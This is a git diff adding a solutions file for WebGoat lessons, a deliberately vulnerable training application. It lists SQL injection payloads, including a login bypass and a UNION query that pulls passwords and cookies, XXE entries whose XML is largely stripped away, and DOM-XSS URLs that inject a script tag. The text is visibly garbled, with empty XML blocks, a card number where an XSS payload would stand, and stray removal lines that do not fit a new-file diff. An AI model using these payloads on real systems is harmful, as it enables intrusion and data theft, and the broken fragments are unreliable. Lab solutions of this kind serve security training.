diff --git a/webgoat-lessons/sol.MD b/webgoat-lessons/sol.MD
new file mode 100644
index 000000000..b7dc5043a
--- /dev/null
+++ b/webgoat-lessons/sol.MD
@@ -0,0 +1,111 @@
+### SQLi ###
+
+Basic
+Smith - to show it returns smith's records.
+To show exploit; `1=1` can be any true clause:
+
+```sql
+Smith' or '1'='1
+```
+
+**Bender Login**
+```sql
+bender@juice-sh.op' --
+```
+```sql
+[2:19 PM]
+101
+101 or 1=1
+```
+```sql
+Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data --
+```
+
+## XXE ##
+
+Simple:
+```xml
+ ]>&root;
+```
+
+Modern Rest Framework:
+Change content type to: `Content-Type: application/xml` and
+```xml
+ ]> &root;test
+```
+
+Blind SendFile
+```xml
+
+ Solution:
+
+ Create DTD:
+
+
+
+
+ ">
+ %all;
+
+
+ This will be reduced to:
+
+
+
+
+
+ Wire it all up in the xml send to the server:
+
+
+
+
+ %remote;
+ ]>
+
+ test&send;
+
+
+
+
+
+```
+
+### XSS ###
+```javascript
+4128 3214 0002 1999
+```
+
+DOM-XSS:
+
+ Something like
+ `http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E
+//`
+OR
+`http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere4128 3214 0002 1999
-
-DOM-XSS ...
-
-// something like ... http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E
-// or http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere